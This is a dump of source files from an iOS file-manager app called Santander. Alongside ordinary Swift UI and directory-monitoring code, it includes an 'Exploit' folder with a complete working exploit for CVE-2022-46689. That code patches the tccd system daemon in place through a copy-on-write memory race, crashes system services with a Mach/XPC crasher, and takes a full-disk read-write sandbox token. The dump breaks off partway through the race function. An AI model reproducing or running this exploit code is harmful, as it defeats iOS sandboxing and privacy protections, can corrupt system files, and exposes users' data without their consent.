//
	

import UIKit

/// A Protocol defining the basic layout anchors of an object, such as  UIView or a UILayoutGuide
protocol BaseLayoutAnchorSupporting {
    var leadingAnchor: NSLayoutXAxisAnchor { get }
    var trailingAnchor: NSLayoutXAxisAnchor { get }
    var topAnchor: NSLayoutYAxisAnchor { get }
    var bottomAnchor: NSLayoutYAxisAnchor { get }
}

extension UILayoutGuide: BaseLayoutAnchorSupporting {}
extension UIView: BaseLayoutAnchorSupporting {
    /// Activates constraints which completely cover the other view with the current view
    func constraintCompletely(to otherView: BaseLayoutAnchorSupporting) {
        NSLayoutConstraint.activate([
            self.leadingAnchor.constraint(equalTo: otherView.leadingAnchor),
            self.trailingAnchor.constraint(equalTo: otherView.trailingAnchor),
            self.topAnchor.constraint(equalTo: otherView.topAnchor),
            self.bottomAnchor.constraint(equalTo: otherView.bottomAnchor)
        ])
    }
}


================================================
FILE: Santander/Other/DiffableDataSourceItem.swift
================================================
//
//  DiffableDataSourceItem.swift
//  Santander
//
//  Created by Serena on 04/11/2022
//


import UIKit

/// Describes a generic item for diffable data sources,
/// either being a section or an item
enum DiffableDataSourceItem<Section: Hashable, Item: Hashable> {
    case section(Section)
    case item(Item)
    
    static func fromItems(_ items: [Item]) -> [DiffableDataSourceItem] {
        return items.map { item in
            return .item(item)
        }
    }
}

extension DiffableDataSourceItem: Hashable {}


================================================
FILE: Santander/Other/DirectoryMonitor.swift
================================================
//
//  DirectoryMonitor.swift
//  Santander
//
//  Created by Serena on 27/06/2022
//
//  Code originally written by Apple, modified for use by Serena A.

import Foundation

/// A protocol that allows delegates of `DirectoryMonitor` to respond to changes in a directory.
protocol DirectoryMonitorDelegate: AnyObject {
    func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor)
}

class DirectoryMonitor {
    // MARK: Properties

    /// The `DirectoryMonitor`'s delegate who is responsible for responding to `DirectoryMonitor` updates.
    weak var delegate: DirectoryMonitorDelegate?

    /// A file descriptor for the monitored directory.
    var monitoredDirectoryFileDescriptor: CInt = -1

    /// A dispatch queue used for sending file changes in the directory.
    let directoryMonitorQueue = DispatchQueue(label: "directorymonitor", attributes: .concurrent)

    /// A dispatch source to monitor a file descriptor created from the directory.
    var directoryMonitorSource: DispatchSource?

    /// URL for the directory being monitored.
    var path: Path
    
    init(path: Path) {
        self.path = path
    }
    
    // MARK: Monitoring

    func startMonitoring() {
        // Listen for changes to the directory (if we are not already).
        if directoryMonitorSource == nil && monitoredDirectoryFileDescriptor == -1 {
            // Open the directory referenced by URL for monitoring only.
            monitoredDirectoryFileDescriptor = open((path.url as NSURL).fileSystemRepresentation, O_EVTONLY)

            // We initialize directoryMonitorSource only if the path is readable
            // otherwise, we'd encounter a crash
            if path.isReadable {
                // Define a dispatch source monitoring the directory for additions, deletions, and renamings.
                directoryMonitorSource = DispatchSource.makeFileSystemObjectSource(fileDescriptor: monitoredDirectoryFileDescriptor, eventMask: .all, queue: directoryMonitorQueue) as? DispatchSource
            }

            // Define the block to call when a file change is detected.
            directoryMonitorSource?.setEventHandler {
                // Call out to the `DirectoryMonitorDelegate` so that it can react appropriately to the change.
                self.delegate?.directoryMonitorDidObserveChange(directoryMonitor: self)
            }

            // Define a cancel handler to ensure the directory is closed when the source is cancelled.
            directoryMonitorSource?.setCancelHandler {
                close(self.monitoredDirectoryFileDescriptor)

                self.monitoredDirectoryFileDescriptor = -1

                self.directoryMonitorSource = nil
            }

            // Start monitoring the directory via the source.
            directoryMonitorSource?.resume()
        }
    }

    func stopMonitoring() {
        // Stop listening for changes to the directory, if the source has been created.
        if directoryMonitorSource != nil {
            // Stop monitoring the directory via the source.
            directoryMonitorSource?.cancel()
        }
    }
}




================================================
FILE: Santander/Other/Exploit/grant_full_disk_access.h
================================================
// header for grant_full_disk_access created by haxi0
@import Foundation;

#ifndef grant_full_disk_access_
#define grant_full_disk_access_h

#include <stdio.h>
void grant_full_disk_access(void (^completion)(NSError* _Nullable));
#endif /* grant_full_disk_access_h */


================================================
FILE: Santander/Other/Exploit/grant_full_disk_access.m
================================================
@import Darwin;
@import Foundation;
@import MachO;

#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"

typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
                                   xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
                                                    uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
                                            dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
                                                         xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);

int64_t sandbox_extension_consume(const char* token);

// MARK: - patchfind

struct grant_full_disk_access_offsets {
  uint64_t offset_addr_s_com_apple_tcc_;
  uint64_t offset_padding_space_for_read_write_string;
  uint64_t offset_addr_s_kTCCServiceMediaLibrary;
  uint64_t offset_auth_got__sandbox_init;
  uint64_t offset_just_return_0;
  bool is_arm64e;
};

static bool patchfind_sections(void* executable_map,
                               struct segment_command_64** data_const_segment_out,
                               struct symtab_command** symtab_out,
                               struct dysymtab_command** dysymtab_out) {
  struct mach_header_64* executable_header = executable_map;
  struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
  for (int load_command_index = 0; load_command_index < executable_header->ncmds;
       load_command_index++) {
    switch (load_command->cmd) {
      case LC_SEGMENT_64: {
        struct segment_command_64* segment = (struct segment_command_64*)load_command;
        if (strcmp(segment->segname, "__DATA_CONST") == 0) {
          *data_const_segment_out = segment;
        }
        break;
      }
      case LC_SYMTAB: {
        *symtab_out = (struct symtab_command*)load_command;
        break;
      }
      case LC_DYSYMTAB: {
        *dysymtab_out = (struct dysymtab_command*)load_command;
        break;
      }
    }
    load_command = ((void*)load_command) + load_command->cmdsize;
  }
  return true;
}

static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
  struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
  struct section_64* last_section = &section_array[segment->nsects - 1];
  return last_section->offset + last_section->size;
}

static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
                                            const char* needle) {
  void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
  if (!str_offset) {
    return 0;
  }
  uint64_t str_file_offset = str_offset - executable_map;
  for (int i = 0; i < executable_length; i += 8) {
    uint64_t val = *(uint64_t*)(executable_map + i);
    if ((val & 0xfffffffful) == str_file_offset) {
      return i;
    }
  }
  return 0;
}

static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
  // TCCDSyncAccessAction::sequencer
  // mov x0, #0
  // ret
  static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
  void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
  if (!offset) {
    return 0;
  }
  return offset - executable_map;
}

static uint64_t patchfind_got(void* executable_map, size_t executable_length,
                              struct segment_command_64* data_const_segment,
                              struct symtab_command* symtab_command,
                              struct dysymtab_command* dysymtab_command,
                              const char* target_symbol_name) {
  uint64_t target_symbol_index = 0;
  for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
    struct nlist_64* sym =
        ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
    const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
    if (strcmp(sym_name, target_symbol_name)) {
      continue;
    }
    // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
    target_symbol_index = sym_index;
    break;
  }

  struct section_64* section_array =
      ((void*)data_const_segment) + sizeof(struct segment_command_64);
  struct section_64* first_section = &section_array[0];
  if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
        strcmp(first_section->sectname, "__got") == 0)) {
    return 0;
  }
  uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;

  for (int i = 0; i < first_section->size; i += 8) {
    uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
    uint64_t indirect_table_entry = (val & 0xfffful);
    if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
      return first_section->offset + i;
    }
  }
  return 0;
}

static bool patchfind(void* executable_map, size_t executable_length,
                      struct grant_full_disk_access_offsets* offsets) {
  struct segment_command_64* data_const_segment = nil;
  struct symtab_command* symtab_command = nil;
  struct dysymtab_command* dysymtab_command = nil;
  if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
                          &dysymtab_command)) {
    printf("no sections\n");
    return false;
  }
  if ((offsets->offset_addr_s_com_apple_tcc_ =
           patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
    printf("no com.apple.tcc. string\n");
    return false;
  }
  if ((offsets->offset_padding_space_for_read_write_string =
           patchfind_get_padding(data_const_segment)) == 0) {
    printf("no padding\n");
    return false;
  }
  if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
           executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
    printf("no kTCCServiceMediaLibrary string\n");
    return false;
  }
  if ((offsets->offset_auth_got__sandbox_init =
           patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
                         dysymtab_command, "_sandbox_init")) == 0) {
    printf("no sandbox_init\n");
    return false;
  }
  if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
      0) {
    printf("no just return 0\n");
    return false;
  }
  struct mach_header_64* executable_header = executable_map;
  offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;

  return true;
}

// MARK: - tccd patching

static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
  // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
  // re-use it until next reboot.
  // Returns the sandbox token if there is one, or nil if there isn't one.
  xpc_connection_t connection = xpc_connection_create_mach_service(
      "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
  xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
    NSLog(@"xpc event handler: %@", object);
  });
  xpc_connection_resume(connection);
  const char* keys[] = {
      "TCCD_MSG_ID",  "function",           "service", "require_purpose", "preflight",
      "target_token", "background_session",
  };
  xpc_object_t values[] = {
      xpc_string_create("17087.1"),
      xpc_string_create("TCCAccessRequest"),
      xpc_string_create("com.apple.app-sandbox.read-write"),
      xpc_null_create(),
      xpc_bool_create(false),
      xpc_null_create(),
      xpc_bool_create(false),
  };
  xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
  xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
  NSLog(@"%@", response_message);

#endif
  xpc_connection_send_message_with_reply(
      connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
      ^(xpc_object_t object) {
        if (!object) {
          NSLog(@"object is nil???");
          completion(nil);
          return;
        }
        NSLog(@"response: %@", object);
        if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
          NSLog(@"xpc error?");
          completion(nil);
          return;
        }
        NSLog(@"debug description: %@", [object debugDescription]);
        const char* extension_string = xpc_dictionary_get_string(object, "extension");
        NSString* extension_nsstring =
            extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
        completion(extension_nsstring);
      });
}

static NSData* patchTCCD(void* executableMap, size_t executableLength) {
  struct grant_full_disk_access_offsets offsets = {};
  if (!patchfind(executableMap, executableLength, &offsets)) {
    return nil;
  }

  NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
  // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
  char* mutableBytes = data.mutableBytes;
  {
    // rewrite com.apple.tcc. into blank string
    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
  }
  {
    // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
    // we need to stick this somewhere; just put it in the padding between
    // the end of __objc_arrayobj and the end of __DATA_CONST
    strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
           "com.apple.app-sandbox.read-write");
    struct dyld_chained_ptr_arm64e_rebase targetRebase =
        *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
                                                  offsets.offset_addr_s_kTCCServiceMediaLibrary);
    targetRebase.target = offsets.offset_padding_space_for_read_write_string;
    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
                                              offsets.offset_addr_s_kTCCServiceMediaLibrary) =
        targetRebase;
    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
        strlen("com.apple.app-sandbox.read-write");
  }
  if (offsets.is_arm64e) {
    // make sandbox_init call return 0;
    struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
        .auth = 1,
        .bind = 0,
        .next = 1,
        .key = 0,  // IA
        .addrDiv = 1,
        .diversity = 0,
        .target = offsets.offset_just_return_0,
    };
    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
                                                   offsets.offset_auth_got__sandbox_init) =
        targetRebase;
  } else {
    // make sandbox_init call return 0;
    struct dyld_chained_ptr_64_rebase targetRebase = {
        .bind = 0,
        .next = 2,
        .target = offsets.offset_just_return_0,
    };
    *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
        targetRebase;
  }
  return data;
}

static bool overwrite_file(int fd, NSData* sourceData) {
  for (int off = 0; off < sourceData.length; off += 0x4000) {
    bool success = false;
    for (int i = 0; i < 2; i++) {
      if (unaligned_copy_switch_race(
              fd, off, sourceData.bytes + off,
              off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
        success = true;
        break;
      }
    }
    if (!success) {
      return false;
    }
  }
  return true;
}

static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
                                                           NSError* _Nullable error)) {
  char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
  int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
  if (fd == -1) {
    // iOS 15.3 and below
    targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
    fd = open(targetPath, O_RDONLY | O_CLOEXEC);
  }
  off_t targetLength = lseek(fd, 0, SEEK_END);
  lseek(fd, 0, SEEK_SET);
  void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);

  NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
  NSData* sourceData = patchTCCD(targetMap, targetLength);
  if (!sourceData) {
    completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                                        code:5
                                    userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
    return;
  }

  if (!overwrite_file(fd, sourceData)) {
    overwrite_file(fd, originalData);
    munmap(targetMap, targetLength);
    completion(
        nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                                 code:1
                             userInfo:@{
                               NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
                                                           @"not be vulnerable to CVE-2022-46689."
                             }]);
    return;
  }
  munmap(targetMap, targetLength);

  xpc_crasher("com.apple.tccd");
  sleep(1);
  call_tccd(^(NSString* _Nullable extension_token) {
    overwrite_file(fd, originalData);
    xpc_crasher("com.apple.tccd");
    NSError* returnError = nil;
    if (extension_token == nil) {
      returnError =
          [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                              code:2
                          userInfo:@{
                            NSLocalizedDescriptionKey : @"tccd did not return an extension token."
                          }];
    } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
      returnError = [NSError
          errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                     code:3
                 userInfo:@{
                   NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
                                               @"instead of an app sandbox token."
                 }];
      extension_token = nil;
    }
    completion(extension_token, returnError);
  });
}

void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
  if (!NSClassFromString(@"NSPresentationIntent")) {
    // class introduced in iOS 15.0.
    // TODO(zhuowei): maybe check the actual OS version instead?
    completion([NSError
        errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                   code:6
               userInfo:@{
                 NSLocalizedDescriptionKey :
                     @"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
                     @"reverted after reboot, so running this may permanently corrupt tccd."
               }]);
    return;
  }
  NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
                                                                  inDomains:NSUserDomainMask][0];
  NSURL* sourceURL =
      [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
  NSError* error = nil;
  NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
                                                   encoding:NSUTF8StringEncoding
                                                      error:&error];
  if (cachedToken) {
    int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
    if (handle > 0) {
      // cached version worked
      completion(nil);
      return;
    }
  }
  grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
    if (error) {
      completion(error);
      return;
    }
    int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
    if (handle <= 0) {
      completion([NSError
          errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
                     code:4
                 userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
      return;
    }
    [extension_token writeToURL:sourceURL
                     atomically:true
                       encoding:NSUTF8StringEncoding
                          error:&error];
    completion(nil);
  });
}


================================================
FILE: Santander/Other/Exploit/helpers.h
================================================
#ifndef helpers_h
#define helpers_h

char* get_temp_file_path(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);

void xpc_crasher(char* service_name);

void respringBackboard(void);
void respringFrontboard(void);

#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))

#endif /* helpers_h */


================================================
FILE: Santander/Other/Exploit/helpers.m
================================================
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>

char* get_temp_file_path(void) {
  return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}

// create a read-only test file we can target:
char* set_up_tmp_file(void) {
  char* path = get_temp_file_path();
  printf("path: %s\n", path);
  
  FILE* f = fopen(path, "w");
  if (!f) {
    printf("opening the tmp file failed...\n");
    return NULL;
  }
  char* buf = malloc(PAGE_SIZE*10);
  memset(buf, 'A', PAGE_SIZE*10);
  fwrite(buf, PAGE_SIZE*10, 1, f);
  //fclose(f);
  return path;
}

kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);

struct xpc_w00t {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t client_port;
  mach_msg_port_descriptor_t reply_port;
};

mach_port_t get_send_once(mach_port_t recv) {
  mach_port_t so = MACH_PORT_NULL;
  mach_msg_type_name_t type = 0;
  kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
  if (err != KERN_SUCCESS) {
    printf("port right extraction failed: %s\n", mach_error_string(err));
    return MACH_PORT_NULL;
  }
  printf("made so: 0x%x from recv: 0x%x\n", so, recv);
  return so;
}

// copy-pasted from an exploit I wrote in 2019...
// still works...

// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )

void xpc_crasher(char* service_name) {
  mach_port_t client_port = MACH_PORT_NULL;
  mach_port_t reply_port = MACH_PORT_NULL;

  mach_port_t service_port = MACH_PORT_NULL;

  kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", service_name);
    return;
  }

  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return;
  }

  // allocate the client and reply port:
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    return;
  }

  mach_port_t so0 = get_send_once(client_port);
  mach_port_t so1 = get_send_once(client_port);

  // insert a send so we maintain the ability to send to this port
  err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
  if (err != KERN_SUCCESS) {
    printf("port right insertion failed: %s\n", mach_error_string(err));
    return;
  }

  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    return;
  }

  struct xpc_w00t msg;
  memset(&msg.hdr, 0, sizeof(msg));
  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service_port;
  msg.hdr.msgh_id   = 'w00t';

  msg.body.msgh_descriptor_count = 2;

  msg.client_port.name        = client_port;
  msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
  msg.client_port.type        = MACH_MSG_PORT_DESCRIPTOR;

  msg.reply_port.name        = reply_port;
  msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
  msg.reply_port.type        = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 msg.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf("w00t message send failed: %s\n", mach_error_string(err));
    return;
  } else {
    printf("sent xpc w00t message\n");
  }

  mach_port_deallocate(mach_task_self(), so0);
  mach_port_deallocate(mach_task_self(), so1);

  return;
}

void respringBackboard(void) {
  xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}

void respringFrontboard(void) {
  // NOTE: This will not kill your app on some versions
  // You may also need to exit(0) afterwards
  xpc_crasher("com.apple.frontboard.systemappservices");
}


================================================
FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.c
================================================
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU

#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>

#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>

#include <fcntl.h>
#include <sys/mman.h>

#include "vm_unaligned_copy_switch_race.h"

#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)

struct context1 {
	vm_size_t obj_size;
	vm_address_t e0;
	mach_port_t mem_entry_ro;
	mach_port_t mem_entry_rw;
	dispatch_semaphore_t running_sem;
	pthread_mutex_t mtx;
	volatile bool done;
};

static void *
switcheroo_thread(__unused void *arg)
{
	kern_return_t kr;
	struct context1 *ctx;

	ctx = (struct context1 *)arg;
	/* tell main thread we're ready to run */
	dispatch_semaphore_signal(ctx->running_sem);
	while (!ctx->done) {
		/* wait for main thread to be done setting things up */
		pthread_mutex_lock(&ctx->mtx);
		if (ctx->done) {
      pthread_mutex_unlock(&ctx->mtx);
			break;
		}
		/* switch e0 to RW mapping */
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
		    ctx->mem_entry_rw,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ | VM_PROT_WRITE,
		    VM_PROT_READ | VM_PROT_WRITE,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
		/* wait a little bit */
		usleep(100);
		/* switch bakc to original RO mapping */
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
		    ctx->mem_entry_ro,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ,
		    VM_PROT_READ,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
		/* tell main thread we're don switching mappings */
		pthread_mutex_unlock(&ctx->mtx);
		usleep(100);
	}
	return NULL;
}

bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
	bool retval = false;
	pthread_t th = NULL;
	int ret;
	kern_return_t kr;
	time_t start, duration;
#if 0
	mach_msg_type_number_t cow_read_size;
#endif
	vm_size_t copied_size;
	int loops;
	vm_address_t e2, e5;
	struct context1 context1, *ctx;
	int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
	vm_address_t ro_addr, tmp_addr;
	memory_object_size_t mo_size;

	ctx = &context1;
	ctx->obj_size = 256 * 1024;

	void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
	if (file_mapped == MAP_FAILED) {
		fprintf(stderr, "failed to map\n");
		return false;
	}
	if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
		fprintf(stderr, "already the same?\n");
		munmap(file_mapped, ctx->obj_size);
		return true;
	}
	ro_addr = (vm_address_t)file_mapped;

	ctx->e0 = 0;
	ctx->running_sem = dispatch_semaphore_create(0);
	T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
	ret = pthread_mutex_init(&ctx->mtx, NULL);
	T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
	ctx->done = false;
	ctx->mem_entry_rw = MACH_PORT_NULL;
	ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
	/* allocate our attack target memory */
	kr = vm_allocate(mach_task_self(),
	    &ro_addr,
	    ctx->obj_size,
	    VM_FLAGS_ANYWHERE);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
	/* initialize to 'A' */
	memset((char *)ro_addr, 'A', ctx->obj_size);
#endif

	/* make it read-only */
	kr = vm_protect(mach_task_self(),
	    ro_addr,
	    ctx->obj_size,
	    TRUE,             /* set_maximum */
	    VM_PROT_READ);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
	/* make sure we can't get read-write handle on that target memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    ro_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
	    &ctx->mem_entry_ro,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
	/* take read-only handle on that target memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    ro_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ,
	    &ctx->mem_entry_ro,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
	T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
	/* make sure we can't map target memory as writable */
	tmp_addr = 0;
	kr = vm_map(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    0,         /* mask */
	    VM_FLAGS_ANYWHERE,
	    ctx->mem_entry_ro,
	    0,
	    FALSE,         /* copy */
	    VM_PROT_READ,
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_INHERIT_DEFAULT);
	T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
	tmp_addr = 0;
	kr = vm_map(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    0,         /* mask */
	    VM_FLAGS_ANYWHERE,
	    ctx->mem_entry_ro,
	    0,
	    FALSE,         /* copy */
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_INHERIT_DEFAULT);
	T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");

	/* allocate a source buffer for the unaligned copy */
	kr = vm_allocate(mach_task_self(),
	    &e5,
	    ctx->obj_size * 2,
	    VM_FLAGS_ANYWHERE);
